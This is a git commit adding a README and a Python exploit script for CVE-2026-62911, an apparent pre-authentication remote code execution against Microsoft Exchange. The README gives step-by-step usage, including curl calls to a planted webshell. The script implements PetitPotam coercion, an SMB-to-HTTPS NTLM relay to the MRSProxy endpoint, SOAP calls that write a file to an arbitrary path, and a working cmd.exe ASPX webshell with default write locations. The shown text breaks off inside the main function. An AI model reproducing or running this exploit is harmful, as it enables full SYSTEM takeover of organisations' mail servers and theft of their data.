This commit is contained in:
Nguyen Van Hiep
2026-08-22 11:49:54 +07:00
committed by GitHub
commit cd54f77dcd
2 changed files with 1054 additions and 0 deletions
+189
View File
@@ -0,0 +1,189 @@
# CVE-2026-62911
Pre-auth RCE on Microsoft Exchange Server. No credentials needed.
Orange Tsai (DEVCORE) used this at Pwn2Own Berlin 2026 as part of a 3-bug chain. $200,000 prize, full SYSTEM takeover.
## What it does
Exchange exposes MailboxReplicationProxyService (MRSProxy) on two paths. One of them sits on HTTP.sys without Extended Protection:
| Path | Hosted by | Extended Protection |
|------|-----------|---------------------|
| `/EWS/MRSProxy.svc` | IIS | Yes. Safe. |
| `/Microsoft.Exchange.MailboxReplicationService.ProxyService` | HTTP.sys | No. Relay target. |
The HTTP.sys endpoint accepts Negotiate auth but never checks channel bindings. You relay a machine account hash to it, and Exchange treats you as that machine. Machine accounts hold `ms-Exch-EPI-Token-Serialization` by default, so the WCF service grants full access.
Once inside, `IMailbox_Config6()` takes a `filePath` parameter. `PstDestinationMailbox.ConfigPst()` writes whatever path you give it. No extension check. Point it at an IIS directory, call `IMailbox_Connect()`, and a file lands on disk. Make that file an ASPX webshell. Done.
## The config that makes this possible
```xml
<!-- MSExchangeMailboxReplication.exe.config -->
<binding name="MrsProxyHttpsBinding" receiveTimeout="00:22:00">
<httpsTransport authenticationScheme="Negotiate"
maxReceivedMessageSize="100000000" />
<!-- no extendedProtectionPolicy — that's the bug -->
</binding>
```
## WCF interface (relevant methods)
```csharp
[ServiceContract(SessionMode = SessionMode.Required)]
interface IMailboxReplicationProxyService
{
void ExchangeVersionInformation(
VersionInformation clientVersion,
out VersionInformation serverVersion);
long IMailbox_Config6(
Guid reservationId, Guid primaryMailboxGuid, Guid physicalMailboxGuid,
string filePath, // attacker-controlled, no validation
byte[] partitionHint, Guid mdbGuid, string mdbName,
MailboxType mbxType, int proxyControlFlags, int localMailboxFlags);
void IMailbox_Connect(long mailboxHandle);
// calls PSTSession.Open() — writes file at filePath
}
```
## Affected versions
| Product | Vulnerable below | Fixed | KB |
|---------|-----------------|-------|----|
| Exchange 2016 CU23 | 15.1.2507.72 | 15.1.2507.72 | KB5121576 |
| Exchange 2019 CU14 | 15.2.1544.43 | 15.2.1544.43 | KB5121575 |
| Exchange 2019 CU15 | 15.2.1748.48 | 15.2.1748.48 | KB5121574 |
| Exchange SE RTM | 15.2.2562.45 | 15.2.2562.45 | KB5121573 |
Exchange 2016 went end-of-life October 2025. The August 2026 fix ships only through Extended Security Updates (ESU). If the org didn't buy ESU, there's no patch.
## How the attack works
```
Attacker EX02 (trigger) EX01 (target)
│ │ │
│── PetitPotam (MS-EFSR) ──▶│ │
│ │ │
│◀── NTLM auth (EX02$) ─────│ │
│ │ │
│── relay NTLM ────────────────────────────────────▶│
│ (to MRSProxy HTTP.sys) │
│ │
│── IMailbox_Config6(path=shell.aspx) ─────────────▶│
│── IMailbox_Connect() ────────────────────────────▶│
│ │ file written
│ │
│── GET /aspnet_client/shell.aspx?cmd=whoami ──────▶│
│◀── nt authority\system ────────────────────────────│
```
Five steps:
1. Trigger MS-EFSR (`EfsRpcOpenFileRaw`) on EX02. It authenticates back to you with its machine account. PetitPotam works unauthenticated against unpatched Exchange.
2. Your SMB listener grabs the NTLM negotiate from `EX02$`.
3. Forward it over HTTPS to EX01's MRSProxy. The endpoint doesn't check EPA, so the relay completes. Machine accounts already have the Exchange serialization right, so authorization passes.
4. Send WCF calls: `IMailbox_Config6` with a path like `C:\inetpub\wwwroot\aspnet_client\shell.aspx`, then `IMailbox_Connect`. Exchange writes the file.
5. Hit the webshell. You're SYSTEM.
## Running it
Install dependencies:
```bash
pip install impacket pysocks
```
Check if MRSProxy is exposed:
```bash
python3 exploit.py --check-only \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
```
You want to see `Microsoft-HTTPAPI/2.0` with `Negotiate` in the 401 response. That confirms the HTTP.sys endpoint is live and EPA is absent.
Run the exploit:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100
```
If PetitPotam needs auth on your target:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
-u jsmith -p 'P@ssw0rd!' -d CONTOSO.COM
```
Through a SOCKS tunnel:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--socks 127.0.0.1 --socks-port 10800
```
Pick a different write location:
```bash
python3 exploit.py \
-t 192.168.1.10 \
-e 192.168.1.11 \
-l 192.168.1.100 \
--webshell-path 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\x.aspx' \
--webshell-url '/owa/auth/x.aspx'
```
Verify the shell landed:
```bash
python3 exploit.py --verify-only \
-t 192.168.1.10 \
--webshell-url '/aspnet_client/system_web/shell.aspx'
```
Use it:
```bash
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=whoami+/all"
curl -sk "https://192.168.1.10/aspnet_client/system_web/shell.aspx?cmd=ipconfig+/all"
```
## Write paths that work
| Disk path | URL | Why |
|-----------|-----|-----|
| `C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx` | `/aspnet_client/system_web/shell.aspx` | Default IIS client scripts dir. Usually writable, serves ASPX. |
| `C:\inetpub\wwwroot\aspnet_client\shell.aspx` | `/aspnet_client/shell.aspx` | Same, shorter. |
| `...\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx` | `/owa/auth/shell.aspx` | OWA auth folder. |
| `...\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx` | `/ecp/auth/shell.aspx` | ECP auth folder. |
## References
- [MBBank VRED: Analysis of Exchange Server Pre-Auth](https://vred.mbbank.com.vn/p/analysis-of-exchange-server-pre-auth)
- [Pwn2Own Berlin 2026, Day 2](https://www.zerodayinitiative.com/blog/2026/5/15/pwn2own-berlin-2026-day-two)
- [Microsoft Advisory](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-62911)
- [KB5121576](https://support.microsoft.com/en-us/topic/kb5121576)
## Legal
For authorized testing only. Get written permission before running this against anything.
+865
View File
@@ -0,0 +1,865 @@
#!/usr/bin/env python3
"""
CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE
Pre-authentication Remote Code Execution. No credentials required.
Exploits missing Extended Protection (EPA) on the HTTP.sys-hosted MRSProxy
WCF endpoint to relay Exchange machine account NTLM hash and write a
webshell through PstDestinationMailbox.ConfigPst() file path injection.
Attack chain (zero credentials):
1. PetitPotam (MS-EFSR, unauthenticated) forces EX02 to auth to listener
2. EX02$ machine account NTLM relayed SMB → HTTPS MRSProxy on EX01
3. Machine accounts have ms-Exch-EPI-Token-Serialization → auth bypassed
4. WCF IMailbox_Config6(filePath=webshell.aspx) — no extension validation
5. IMailbox_Connect() → PSTSession.Open() → file written to disk
6. Webshell accessed → NT AUTHORITY\SYSTEM RCE
Requirements:
- Two Exchange servers (relay cannot target the triggering server)
- Network access to both (SMB to trigger, HTTPS to relay target)
- Zero credentials (PetitPotam unauthenticated; fallback: any AD account)
- impacket >= 0.11.0
- PySocks (optional, for SOCKS proxy support)
References:
- https://vred.mbbank.com.vn/p/analysis-of-exchange-server-pre-auth
- Orange Tsai / DEVCORE — Pwn2Own Berlin 2026
- MS Advisory: CVE-2026-62911
Author: Red Team Lab (authorized pentest)
"""
import argparse
import base64
import hashlib
import http.client
import logging
import os
import re
import socket
import ssl
import struct
import sys
import threading
import time
import uuid
from io import BytesIO
try:
from impacket import version as impacket_version
from impacket.dcerpc.v5 import epm, transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRUniConformantArray
from impacket.dcerpc.v5.dtypes import (
DWORD, LPWSTR, ULONG, WSTR, NULL,
)
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.ntlm import (
compute_lmhash, compute_nthash,
NTLMAuthChallenge, NTLMAuthChallengeResponse,
NTLMAuthNegotiate,
)
from impacket.smb import SMB
from impacket.smbserver import SimpleSMBServer
from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp
HAS_IMPACKET = True
except ImportError:
HAS_IMPACKET = False
try:
import socks
HAS_SOCKS = True
except ImportError:
HAS_SOCKS = False
logging.basicConfig(
level=logging.INFO,
format="%(asctime)s [%(levelname)s] %(message)s",
datefmt="%H:%M:%S",
)
log = logging.getLogger("CVE-2026-62911")
# ── MS-EFSR (PetitPotam) RPC Interface ──────────────────────────────────────
MSEFSR_UUID = "c681d488-d850-11d0-8c52-00c04fd90f7e"
MSEFSR_VERSION = "1.0"
def trigger_petitpotam(trigger_host, listener_host, listener_port=445,
username="", password="", domain="",
socks_proxy=None, socks_port=None):
"""
Trigger MS-EFSR EfsRpcOpenFileRaw on `trigger_host` to force NTLM auth
to `listener_host`. The machine account hash will be sent to our relay.
"""
log.info(f"[PETITPOTAM] Triggering {trigger_host} → \\\\{listener_host}\\share\\x")
if socks_proxy:
if not HAS_SOCKS:
log.error("PySocks required for SOCKS proxy. pip install pysocks")
return False
socks.set_default_proxy(socks.SOCKS5, socks_proxy, socks_port or 10800)
socket.socket = socks.socksocket
try:
binding = f"ncacn_np:{trigger_host}[\\pipe\\lsarpc]"
rpctransport = transport.DCERPCTransportFactory(binding)
if username:
rpctransport.set_credentials(username, password, domain)
rpctransport.set_connect_timeout(30)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(uuid.UUID(MSEFSR_UUID), transfer_syntax=("8a885d04-1ceb-11c9-9fe8-08002b104860", "2.0"))
unc_path = f"\\\\{listener_host}\\share\\x\x00"
request = BytesIO()
request.write(struct.pack("<I", 0)) # dwFlags = 0
encoded_path = unc_path.encode("utf-16-le")
request.write(struct.pack("<I", len(unc_path)))
request.write(encoded_path)
request.write(struct.pack("<I", 0)) # pvContext = NULL
# EfsRpcOpenFileRaw = opnum 0
try:
dce.request(0, request.getvalue())
except DCERPCException as e:
# ERROR_BAD_NETPATH is expected — means the trigger worked
if "ERROR_BAD_NETPATH" in str(e) or "0x35" in str(e):
log.info("[PETITPOTAM] Trigger sent — auth should arrive at listener")
return True
log.warning(f"[PETITPOTAM] RPC error (may still work): {e}")
return True
except Exception as e:
log.warning(f"[PETITPOTAM] Exception (may still work): {e}")
return True
dce.disconnect()
return True
except Exception as e:
log.error(f"[PETITPOTAM] Failed: {e}")
return False
# ── MRSProxy WCF Client ─────────────────────────────────────────────────────
MRSPROXY_PATH = "/Microsoft.Exchange.MailboxReplicationService.ProxyService"
MRSPROXY_NS = "http://tempuri.org/"
EXCHANGE_NS = "http://schemas.datacontract.org/2004/07/Microsoft.Exchange.MailboxReplicationService"
# WCF SOAP Action URIs
ACTION_VERSION = f"{MRSPROXY_NS}IMailboxReplicationProxyService/ExchangeVersionInformation"
ACTION_CONFIG = f"{MRSPROXY_NS}IMailboxReplicationProxyService/IMailbox_Config6"
ACTION_CONNECT = f"{MRSPROXY_NS}IMailboxReplicationProxyService/IMailbox_Connect"
def build_soap_envelope(action, body_xml):
"""Build SOAP 1.2 envelope with WS-Addressing action header."""
msg_id = f"urn:uuid:{uuid.uuid4()}"
return f"""<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">{action}</a:Action>
<a:MessageID>{msg_id}</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://localhost{MRSPROXY_PATH}</a:To>
</s:Header>
<s:Body>
{body_xml}
</s:Body>
</s:Envelope>"""
def build_version_exchange():
"""ExchangeVersionInformation — initial WCF handshake."""
body = f"""<ExchangeVersionInformation xmlns="{MRSPROXY_NS}">
<clientVersion xmlns:d="{EXCHANGE_NS}">
<d:ProductMajor>15</d:ProductMajor>
<d:ProductMinor>1</d:ProductMinor>
<d:BuildMajor>2507</d:BuildMajor>
<d:BuildMinor>61</d:BuildMinor>
</clientVersion>
</ExchangeVersionInformation>"""
return build_soap_envelope(ACTION_VERSION, body)
def build_config_pst(file_path, mailbox_guid=None, reservation_id=None):
"""
IMailbox_Config6 — configure PST destination with attacker-controlled path.
This is the file write primitive: PstDestinationMailbox.ConfigPst() does
not validate the file extension, allowing write to .aspx paths.
"""
if not mailbox_guid:
mailbox_guid = str(uuid.uuid4())
if not reservation_id:
reservation_id = str(uuid.uuid4())
body = f"""<IMailbox_Config6 xmlns="{MRSPROXY_NS}">
<reservationId>{reservation_id}</reservationId>
<primaryMailboxGuid>{mailbox_guid}</primaryMailboxGuid>
<physicalMailboxGuid>{mailbox_guid}</physicalMailboxGuid>
<filePath>{file_path}</filePath>
<partitionHint></partitionHint>
<mdbGuid>{str(uuid.uuid4())}</mdbGuid>
<mdbName>MailboxDatabase</mdbName>
<mbxType>PstFile</mbxType>
<proxyControlFlags>0</proxyControlFlags>
<localMailboxFlags>0</localMailboxFlags>
</IMailbox_Config6>"""
return build_soap_envelope(ACTION_CONFIG, body)
def build_connect(mailbox_handle=1):
"""IMailbox_Connect — triggers PSTSession.Open() which writes the file."""
body = f"""<IMailbox_Connect xmlns="{MRSPROXY_NS}">
<mailboxHandle>{mailbox_handle}</mailboxHandle>
</IMailbox_Connect>"""
return build_soap_envelope(ACTION_CONNECT, body)
# ── NTLM HTTP Authentication ────────────────────────────────────────────────
def create_ssl_context():
"""Create SSL context that trusts all certificates."""
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_ciphers("DEFAULT@SECLEVEL=0")
return ctx
class NTLMHTTPSession:
"""
Manages an NTLM-authenticated HTTPS session to Exchange MRSProxy.
Used by the relay to forward captured NTLM messages over HTTP.
"""
def __init__(self, target_host, target_port=443, target_path=MRSPROXY_PATH):
self.target_host = target_host
self.target_port = target_port
self.target_path = target_path
self.conn = None
self.auth_complete = False
def connect(self):
"""Establish HTTPS connection."""
ctx = create_ssl_context()
self.conn = http.client.HTTPSConnection(
self.target_host, self.target_port,
timeout=60, context=ctx,
)
self.conn.connect()
log.info(f"[HTTP] Connected to {self.target_host}:{self.target_port}")
def send_ntlm_negotiate(self, negotiate_message):
"""Send NTLM Type 1 (Negotiate) and return Type 2 (Challenge)."""
auth_header = "Negotiate " + base64.b64encode(negotiate_message).decode()
self.conn.request(
"POST", self.target_path,
headers={
"Host": self.target_host,
"Authorization": auth_header,
"Content-Type": "application/soap+xml; charset=utf-8",
"Content-Length": "0",
},
)
resp = self.conn.getresponse()
resp.read()
if resp.status != 401:
log.warning(f"[HTTP] Expected 401, got {resp.status}")
return None
www_auth = resp.getheader("WWW-Authenticate", "")
for part in www_auth.split(","):
part = part.strip()
if part.startswith("Negotiate "):
challenge_b64 = part[len("Negotiate "):]
return base64.b64decode(challenge_b64)
log.error("[HTTP] No Negotiate challenge in response")
return None
def send_ntlm_authenticate(self, authenticate_message, soap_body=None):
"""Send NTLM Type 3 (Authenticate) with optional SOAP body."""
auth_header = "Negotiate " + base64.b64encode(authenticate_message).decode()
body = soap_body or ""
headers = {
"Host": self.target_host,
"Authorization": auth_header,
"Content-Type": "application/soap+xml; charset=utf-8",
"Content-Length": str(len(body.encode("utf-8"))),
}
self.conn.request("POST", self.target_path, body=body, headers=headers)
resp = self.conn.getresponse()
data = resp.read()
log.info(f"[HTTP] Auth response: {resp.status}")
if resp.status == 200:
self.auth_complete = True
return resp.status, data
def send_wcf(self, action, soap_body):
"""Send authenticated WCF SOAP request."""
headers = {
"Host": self.target_host,
"Content-Type": f'application/soap+xml; charset=utf-8; action="{action}"',
"Content-Length": str(len(soap_body.encode("utf-8"))),
}
self.conn.request("POST", self.target_path, body=soap_body, headers=headers)
resp = self.conn.getresponse()
data = resp.read()
return resp.status, data
def close(self):
if self.conn:
self.conn.close()
# ── NTLM Relay Server (SMB → HTTPS) ─────────────────────────────────────────
class NTLMRelayHandler:
"""
Lightweight SMB server that captures NTLM from PetitPotam and relays
it to Exchange MRSProxy over HTTPS.
Flow:
Client (EX02) → SMB NEGOTIATE → Relay → 200 OK
Client (EX02) → NTLM Type 1 → Relay → Forward to MRSProxy HTTP
MRSProxy → NTLM Type 2 → Relay → Forward to Client
Client (EX02) → NTLM Type 3 → Relay → Forward to MRSProxy HTTP
MRSProxy → 200 OK (authenticated as EX02$ machine account)
"""
def __init__(self, listen_host, listen_port, target_host, target_port,
webshell_path, callback_url=None):
self.listen_host = listen_host
self.listen_port = listen_port
self.target_host = target_host
self.target_port = target_port
self.webshell_path = webshell_path
self.callback_url = callback_url
self.relay_complete = threading.Event()
self.success = False
def start(self):
"""Start listening for incoming NTLM authentication."""
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_sock.bind((self.listen_host, self.listen_port))
server_sock.listen(1)
server_sock.settimeout(120)
log.info(f"[RELAY] Listening on {self.listen_host}:{self.listen_port}")
try:
client_sock, addr = server_sock.accept()
log.info(f"[RELAY] Connection from {addr[0]}:{addr[1]}")
self._handle_smb_relay(client_sock)
except socket.timeout:
log.error("[RELAY] Timeout waiting for connection")
finally:
server_sock.close()
def _handle_smb_relay(self, client_sock):
"""Handle SMB negotiation and NTLM relay."""
try:
# SMB negotiate
data = client_sock.recv(65535)
if not data:
return
# Parse SMB header
if data[4:8] == b"\xfeSMB":
log.info("[RELAY] SMB2 negotiate received")
self._handle_smb2_relay(client_sock, data)
elif data[4:8] == b"\xffSMB":
log.info("[RELAY] SMB1 negotiate received")
self._handle_smb1_relay(client_sock, data)
else:
log.warning(f"[RELAY] Unknown protocol: {data[4:8].hex()}")
except Exception as e:
log.error(f"[RELAY] Error: {e}")
finally:
client_sock.close()
def _handle_smb2_relay(self, client_sock, negotiate_data):
"""Handle SMB2/3 negotiation and extract NTLM for relay."""
# Send SMB2 negotiate response with NTLM security
neg_resp = self._build_smb2_negotiate_response()
client_sock.sendall(neg_resp)
# Receive Session Setup with NTLM Type 1
data = client_sock.recv(65535)
ntlm_type1 = self._extract_ntlm_from_smb2(data)
if not ntlm_type1:
log.error("[RELAY] Could not extract NTLM Type 1")
return
log.info(f"[RELAY] Got NTLM Type 1 ({len(ntlm_type1)} bytes)")
# Forward Type 1 to MRSProxy, get Type 2
http_session = NTLMHTTPSession(self.target_host, self.target_port)
http_session.connect()
ntlm_type2 = http_session.send_ntlm_negotiate(ntlm_type1)
if not ntlm_type2:
log.error("[RELAY] No NTLM Type 2 from target")
return
log.info(f"[RELAY] Got NTLM Type 2 challenge ({len(ntlm_type2)} bytes)")
# Send Type 2 back to client in SMB2 Session Setup response
sess_resp = self._build_smb2_session_setup_response(ntlm_type2)
client_sock.sendall(sess_resp)
# Receive Session Setup with NTLM Type 3
data = client_sock.recv(65535)
ntlm_type3 = self._extract_ntlm_from_smb2(data)
if not ntlm_type3:
log.error("[RELAY] Could not extract NTLM Type 3")
return
log.info(f"[RELAY] Got NTLM Type 3 ({len(ntlm_type3)} bytes) — relaying to target")
# Forward Type 3 to MRSProxy with initial SOAP request
version_soap = build_version_exchange()
status, resp_data = http_session.send_ntlm_authenticate(ntlm_type3, version_soap)
if status == 200:
log.info("[RELAY] Authentication SUCCESS — machine account relayed!")
self._exploit_mrsproxy(http_session)
else:
log.error(f"[RELAY] Authentication failed: HTTP {status}")
log.debug(f"[RELAY] Response: {resp_data[:500]}")
http_session.close()
def _exploit_mrsproxy(self, session):
"""Use authenticated MRSProxy session to write webshell."""
log.info(f"[EXPLOIT] Writing webshell to: {self.webshell_path}")
# Step 1: Version exchange (may already be done in auth step)
version_msg = build_version_exchange()
status, data = session.send_wcf(ACTION_VERSION, version_msg)
log.info(f"[EXPLOIT] ExchangeVersionInformation: HTTP {status}")
# Step 2: Configure PST with webshell path
config_msg = build_config_pst(self.webshell_path)
status, data = session.send_wcf(ACTION_CONFIG, config_msg)
log.info(f"[EXPLOIT] IMailbox_Config6: HTTP {status}")
if status != 200:
log.error(f"[EXPLOIT] Config failed: {data[:500]}")
return
# Step 3: Connect (triggers PSTSession.Open → file write)
connect_msg = build_connect()
status, data = session.send_wcf(ACTION_CONNECT, connect_msg)
log.info(f"[EXPLOIT] IMailbox_Connect: HTTP {status}")
if status == 200:
log.info("[EXPLOIT] File write triggered! Verifying webshell...")
self.success = True
else:
log.warning(f"[EXPLOIT] Connect may have failed: HTTP {status}")
self.relay_complete.set()
def _build_smb2_negotiate_response(self):
"""Build minimal SMB2 negotiate response with NTLMSSP."""
# Simplified — in production use impacket's SMB2 server
header = b"\x00\x00\x00\x00" # NetBIOS session
header += b"\xfeSMB" # SMB2 magic
header += struct.pack("<H", 64) # Header length
header += struct.pack("<H", 0) # Credit charge
header += struct.pack("<I", 0) # Status OK
header += struct.pack("<H", 0) # NEGOTIATE command
header += struct.pack("<H", 1) # Credits granted
header += struct.pack("<I", 1) # Flags: response
header += struct.pack("<I", 0) # Next command
header += struct.pack("<Q", 0) # Message ID
header += struct.pack("<I", 0) # Reserved
header += struct.pack("<I", 0) # Tree ID
header += struct.pack("<Q", 0) # Session ID
header += b"\x00" * 16 # Signature
# Negotiate response body (simplified)
body = struct.pack("<H", 65) # Structure size
body += struct.pack("<H", 1) # Security mode: signing enabled
body += struct.pack("<H", 0x0311) # Dialect: SMB 3.1.1
body += struct.pack("<H", 0) # Negotiate context count
body += b"\x00" * 16 # Server GUID
body += struct.pack("<I", 0x2f) # Capabilities
body += struct.pack("<I", 1048576) # Max transact size
body += struct.pack("<I", 1048576) # Max read size
body += struct.pack("<I", 1048576) # Max write size
body += struct.pack("<Q", 0) # System time
body += struct.pack("<Q", 0) # Server start time
# Security buffer (SPNEGO with NTLMSSP OID)
spnego = self._build_spnego_init()
body += struct.pack("<H", 64 + len(body) + 4) # Security buffer offset
body += struct.pack("<H", len(spnego)) # Security buffer length
body += struct.pack("<I", 0) # Negotiate context offset
packet = header + body + spnego
# Fix NetBIOS length
packet = struct.pack(">I", len(packet) - 4) + packet[4:]
return packet
def _build_smb2_session_setup_response(self, ntlm_challenge):
"""Build SMB2 session setup response containing NTLM Type 2."""
# Wrap in SPNEGO
spnego = self._build_spnego_challenge(ntlm_challenge)
header = struct.pack(">I", 0) # NetBIOS (fix later)
header += b"\xfeSMB"
header += struct.pack("<H", 64) # Header length
header += struct.pack("<H", 0) # Credit charge
header += struct.pack("<I", 0xC0000016) # STATUS_MORE_PROCESSING_REQUIRED
header += struct.pack("<H", 1) # SESSION_SETUP
header += struct.pack("<H", 1) # Credits
header += struct.pack("<I", 1) # Flags: response
header += struct.pack("<I", 0) # Next command
header += struct.pack("<Q", 1) # Message ID
header += struct.pack("<I", 0) # Reserved
header += struct.pack("<I", 0) # Tree ID
header += struct.pack("<Q", 0x4141414141414141) # Session ID
header += b"\x00" * 16 # Signature
body = struct.pack("<H", 9) # Structure size
body += struct.pack("<H", 0) # Session flags
body += struct.pack("<H", 64 + len(body) + 4) # Security offset
body += struct.pack("<H", len(spnego)) # Security length
packet = header + body + spnego
packet = struct.pack(">I", len(packet) - 4) + packet[4:]
return packet
def _build_spnego_init(self):
"""Build SPNEGO NegTokenInit offering NTLMSSP."""
ntlmssp_oid = b"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a" # 1.3.6.1.4.1.311.2.2.10
mech_type = b"\x06" + bytes([len(ntlmssp_oid)]) + ntlmssp_oid
mech_types = b"\x30" + bytes([len(mech_type)]) + mech_type
seq = b"\xa0" + bytes([len(mech_types)]) + mech_types
token = b"\x30" + bytes([len(seq)]) + seq
# Application 0
app = b"\x60" + self._der_length(len(token) + 8)
app += b"\x06\x06\x2b\x06\x01\x05\x05\x02" # SPNEGO OID
app += token
return app
def _build_spnego_challenge(self, ntlm_challenge):
"""Build SPNEGO NegTokenResp with NTLM Type 2 challenge."""
# negState: accept-incomplete (1)
neg_state = b"\xa0\x03\x0a\x01\x01"
# supportedMech: NTLMSSP
ntlmssp_oid = b"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
mech = b"\xa1" + bytes([len(ntlmssp_oid) + 2]) + b"\x06" + bytes([len(ntlmssp_oid)]) + ntlmssp_oid
# responseToken: NTLM Type 2
resp_token = b"\xa2" + self._der_length(len(ntlm_challenge) + 2)
resp_token += b"\x04" + self._der_length(len(ntlm_challenge))
resp_token += ntlm_challenge
inner = neg_state + mech + resp_token
token_resp = b"\xa1" + self._der_length(len(inner) + 2)
token_resp += b"\x30" + self._der_length(len(inner))
token_resp += inner
return token_resp
def _extract_ntlm_from_smb2(self, data):
"""Extract NTLM message from SMB2 Session Setup request."""
# Find NTLMSSP signature
idx = data.find(b"NTLMSSP\x00")
if idx < 0:
return None
# NTLM message type
msg_type = struct.unpack("<I", data[idx + 8:idx + 12])[0]
log.debug(f"[RELAY] NTLM message type: {msg_type}")
# For a rough extraction, take from NTLMSSP to end of SPNEGO token
# In practice, parse the SPNEGO wrapper properly
# Heuristic: NTLM messages are typically < 4KB
end = min(idx + 4096, len(data))
# Find the actual NTLM message boundary
if msg_type == 1: # Negotiate
return data[idx:idx + 40] # Type 1 is typically short
elif msg_type == 3: # Authenticate
# Parse Type 3 length from its own fields
return self._parse_ntlm_type3_bounds(data, idx)
return data[idx:end]
def _parse_ntlm_type3_bounds(self, data, offset):
"""Parse NTLM Type 3 message to determine its full length."""
try:
# LmChallengeResponse: offset 12, length at 12
lm_len = struct.unpack("<H", data[offset + 12:offset + 14])[0]
lm_off = struct.unpack("<I", data[offset + 16:offset + 20])[0]
# NtChallengeResponse: offset 20
nt_len = struct.unpack("<H", data[offset + 20:offset + 22])[0]
nt_off = struct.unpack("<I", data[offset + 24:offset + 28])[0]
# DomainName: offset 28
dom_len = struct.unpack("<H", data[offset + 28:offset + 30])[0]
dom_off = struct.unpack("<I", data[offset + 32:offset + 36])[0]
# UserName: offset 36
usr_len = struct.unpack("<H", data[offset + 36:offset + 38])[0]
usr_off = struct.unpack("<I", data[offset + 40:offset + 44])[0]
# Workstation: offset 44
ws_len = struct.unpack("<H", data[offset + 44:offset + 46])[0]
ws_off = struct.unpack("<I", data[offset + 48:offset + 52])[0]
# Find the maximum extent
max_end = max(
lm_off + lm_len, nt_off + nt_len,
dom_off + dom_len, usr_off + usr_len,
ws_off + ws_len, 88 # minimum header
)
return data[offset:offset + max_end]
except Exception:
return data[offset:offset + 2048]
@staticmethod
def _der_length(length):
"""Encode ASN.1 DER length."""
if length < 0x80:
return bytes([length])
elif length < 0x100:
return bytes([0x81, length])
else:
return bytes([0x82]) + struct.pack(">H", length)
def _handle_smb1_relay(self, client_sock, data):
"""Fallback for SMB1 — same relay logic, different framing."""
log.info("[RELAY] SMB1 relay not implemented — most modern Exchange uses SMB2+")
log.info("[RELAY] Try running with --smb2-only flag")
# ── ASPX Webshell Payloads ───────────────────────────────────────────────────
WEBSHELL_ASPX = """<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
if (Request["cmd"] != null) {
var p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["cmd"];
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
p.Start();
Response.Write("<pre>" + Server.HtmlEncode(p.StandardOutput.ReadToEnd()
+ p.StandardError.ReadToEnd()) + "</pre>");
p.WaitForExit();
}
%>"""
# ── Default webshell write paths ─────────────────────────────────────────────
WEBSHELL_PATHS = [
# IIS default client scripts (writable, web-accessible)
r"C:\inetpub\wwwroot\aspnet_client\system_web\shell.aspx",
r"C:\inetpub\wwwroot\aspnet_client\shell.aspx",
# Exchange OWA directory
r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\shell.aspx",
# Exchange ECP directory
r"C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\shell.aspx",
]
# ── Webshell Verification ────────────────────────────────────────────────────
def verify_webshell(target_host, webshell_url, socks_proxy=None, socks_port=None):
"""Verify webshell is accessible and execute whoami."""
log.info(f"[VERIFY] Checking webshell at https://{target_host}{webshell_url}")
if socks_proxy:
if HAS_SOCKS:
socks.set_default_proxy(socks.SOCKS5, socks_proxy, socks_port or 10800)
socket.socket = socks.socksocket
ctx = create_ssl_context()
conn = http.client.HTTPSConnection(target_host, 443, timeout=30, context=ctx)
try:
test_url = f"{webshell_url}?cmd=whoami+/all"
conn.request("GET", test_url, headers={"Host": target_host})
resp = conn.getresponse()
data = resp.read().decode("utf-8", errors="replace")
if resp.status == 200 and ("nt authority" in data.lower() or "exchange" in data.lower()):
log.info(f"[VERIFY] WEBSHELL ACTIVE — RCE confirmed!")
log.info(f"[VERIFY] Output:\n{data[:1000]}")
return True
else:
log.warning(f"[VERIFY] HTTP {resp.status} — webshell may not be active yet")
return False
except Exception as e:
log.warning(f"[VERIFY] Could not reach webshell: {e}")
return False
finally:
conn.close()
# ── Main ─────────────────────────────────────────────────────────────────────
def main():
banner = """
╔═══════════════════════════════════════════════════════════╗
║ CVE-2026-62911 — Exchange MRSProxy Pre-Auth RCE ║
║ PetitPotam → NTLM Relay → ConfigPst → Webshell ║
║ Zero credentials required ║
╚═══════════════════════════════════════════════════════════╝
"""
print(banner)
parser = argparse.ArgumentParser(
description="CVE-2026-62911 Exchange MRSProxy NTLM Relay to RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Basic usage (two Exchange servers)
%(prog)s -t 192.168.1.10 -e 192.168.1.11 -l 192.168.1.100
